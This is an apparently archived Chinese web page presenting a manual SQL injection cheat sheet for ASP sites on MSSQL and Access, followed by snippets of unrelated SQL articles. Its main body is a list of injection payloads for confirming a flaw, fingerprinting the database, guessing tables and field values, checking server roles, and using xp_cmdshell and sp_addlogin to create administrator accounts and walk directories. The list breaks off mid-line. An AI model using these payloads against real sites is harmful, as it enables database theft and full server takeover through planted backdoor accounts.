易截截图软件、单文件、免安装、纯绿色、仅160KB

SQL手工注入大全

比方说在查询id是50的数据时,如果用户传近来的参数是50 and 1=1,如果没有设置过滤的话,可以直接查出来,SQL 注入一般在ASP程序中遇到最多,
看看下面的
1.判断是否有注入
;and 1=1
;and 1=2
2.初步判断是否是mssql
;and user>0
3.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
4.注入参数是字符
'and [查询条件] and ''='
5.搜索时没过滤参数的
'and [查询条件] and '%25'='
6.猜数据库
;and (select Count(*) from [数据库名])>0
7.猜字段
;and (select Count(字段名) from 数据库名)>0
8.猜字段中记录长度
;and (select top 1 len(字段名) from 数据库名)>0
9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
10.测试权限结构(mssql)
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--
11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
12.(1)遍历目录
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
(2)遍历目录
;create table temp(id nvarchar(255),num1 nvar


相关文档:

在sql server 2000中调用系统时间

select getdate()
是显示当前系统时间,输出的日期格式与本机日期格式有关,假入你想在什么情况下都显示成2006-12-15 10:37:00这种形式则需要转换一下
select convert(varchar(30),getdate(),20)
显示是星期几的语句是
select datename(weekday,getdate())
日期加星期的话直接加在一块就可以了
select convert(varcha ......

SQL用DataDiff查询的怪现象而引发的思考(2)

在脑子里老是记得当初写SQL的时候,总是有人提醒对于主键的条件要写在前面,至于为什么现在总是记不清楚了。但是SQL中where 条件的执行顺序跟主键以及索引有很大的关系。
把上片中的表a 加上主键:
alter table
add constraint pk_a_id primary key (id)
然后在运行上篇中出错的例句:
select * from a where id in (1 ......

sql语句的使用

以下是我在学习中的点滴记录,如果有错误的地方或者缺少部分,请各位大侠不吝指教。小弟在此谢过了
1.select count(*) 和select count(id) 之间的区别。
select count(*) 统计所有记录个数,包括空记录。
Select count(Id) 统计所有记录个数,不包括null记录。
2.delete & truncate 的区别
trunc ......

求条sql语句,SQL面试题目,

--求条sql语句:
--   要求:1.按照Group_OutDate字段排序 ,得到前5条记录
--          2.Group_Name字段的值不能重复
SELECT  TOP 5 * from
( SELECT  DISTINCT  Group_Name ,
(SELECT TOP 1 Group_ID from AA_Sell_Group AS b WHERE b.Gro ......
© 2009 ej38.com All Rights Reserved. 关于E健网联系我们 | 站点地图 | 赣ICP备09004571号